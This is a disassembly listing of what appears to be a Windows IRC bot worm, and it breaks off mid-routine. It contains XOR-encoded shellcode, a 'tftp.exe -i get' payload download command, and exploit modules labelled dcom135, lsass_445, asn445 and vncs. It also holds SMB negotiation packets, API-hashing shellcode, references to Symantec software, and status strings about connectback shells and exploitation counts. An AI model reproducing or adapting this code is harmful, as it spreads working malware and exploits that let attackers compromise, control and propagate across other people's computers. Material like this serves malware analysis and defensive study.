align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o ; ___:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do ; ___:0040AF89o ... dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do ; ___:0040AF79o ... dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o ; ___:0040AF60o ... dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o ; ___:0040AF50o ... dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o ; ___:0040AF41o ... dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o ; ___:0040AF33o ... dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao off_43162C dd offset loc_5D4D5B ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do dword_431664 dd 34h ; DATA XREF: ___:0040B021o dword_431668 dd 335053h ; DATA XREF: ___:0040B014o dword_43166C dd 33h ; DATA XREF: ___:0040B003o dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431678 proc near ; DATA XREF: ___:0040AFD8o push ebx push eax xor [eax], eax sub_431678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o ; --------------------------------------------------------------------------- loc_431688: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43168C ; --------------------------------------------------------------------------- loc_43168A: ; CODE XREF: ___:loc_43168Cp jmp short loc_431691 ; --------------------------------------------------------------------------- loc_43168C: ; CODE XREF: ___:loc_431688j call loc_43168A loc_431691: ; CODE XREF: ___:loc_43168Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316A0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316A4 ; --------------------------------------------------------------------------- loc_4316A2: ; CODE XREF: ___:loc_4316A4p jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316A4: ; CODE XREF: ___:loc_4316A0j call loc_4316A2 loc_4316A9: ; CODE XREF: ___:loc_4316A2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43173C retn ; --------------------------------------------------------------------------- byte_43173C db 0E8h ; CODE XREF: ___:00431739j dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; ___:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; ___:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A06 ; =============== S U B R O U T I N E ======================================= sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4319FE: ; CODE XREF: sub_4319F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4319FE jmp short loc_431A0B ; --------------------------------------------------------------------------- loc_431A06: ; CODE XREF: ___:004319F4j call sub_4319F6 loc_431A0B: ; CODE XREF: sub_4319F6+Ej jo short near ptr dword_431994+12h cwde cdq cdq retn sub_4319F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C85F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432198 proc near ; DATA XREF: ___:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432294 push dword ptr [esi] push 63D61209h call sub_4322AA mov [esi+8], eax call sub_43225D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322AA mov [esi+0Ch], eax call sub_43220F push dword ptr [esi+4] push 4C0297FAh call sub_4322AA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432198 endp ; =============== S U B R O U T I N E ======================================= sub_43220F proc near ; CODE XREF: sub_432198+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432238 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43220F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432238 proc near ; CODE XREF: sub_43220F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432247: ; CODE XREF: sub_432238+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432254 inc ebx jmp short loc_432247 ; --------------------------------------------------------------------------- loc_432254: ; CODE XREF: sub_432238+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43225D proc near ; CODE XREF: sub_432198+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432275: ; CODE XREF: sub_43225D+1Ej cmp [ecx], ebx jz short loc_43227D mov ecx, [ecx] jmp short loc_432275 ; --------------------------------------------------------------------------- loc_43227D: ; CODE XREF: sub_43225D+1Aj mov edx, edi loc_43227F: ; CODE XREF: sub_43225D+2Aj cmp [edx+4], ebx jz short loc_432289 mov edx, [edx+4] jmp short loc_43227F ; --------------------------------------------------------------------------- loc_432289: ; CODE XREF: sub_43225D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43225D endp ; =============== S U B R O U T I N E ======================================= sub_432294 proc near ; CODE XREF: sub_432198+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432294 endp ; =============== S U B R O U T I N E ======================================= sub_4322AA proc near ; CODE XREF: sub_432198+16p ; sub_432198+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322C0: ; CODE XREF: sub_4322AA+33j jecxz short loc_4322FA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322CD: ; CODE XREF: sub_4322AA+2Dj lodsb cmp al, ah jz short loc_4322D9 ror edi, 0Dh add edi, eax jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D9: ; CODE XREF: sub_4322AA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322C0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j ; sub_4322AA:loc_4322FAj jmp short loc_4322FA sub_4322AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_432300 proc near ; DATA XREF: ___:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432352 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43231D: ; CODE XREF: sub_432300+38j jecxz short loc_43234D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432328: ; CODE XREF: sub_432300+32j lodsb test al, al jz short loc_432334 ror edx, 0Dh add edx, eax jmp short loc_432328 ; --------------------------------------------------------------------------- loc_432334: ; CODE XREF: sub_432300+2Bj cmp edx, [esp+arg_0] jnz short loc_43231D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj mov [esp+arg_0], ebx retn sub_432300 endp ; =============== S U B R O U T I N E ======================================= sub_432352 proc near ; CODE XREF: sub_432300+7p ; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43236B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432376 ; --------------------------------------------------------------------------- loc_43236B: ; CODE XREF: sub_432352+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432376: ; CODE XREF: sub_432352+14j pop edi xor esi, esi pusha push esi jmp short loc_43238A sub_432352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43237D proc near ; CODE 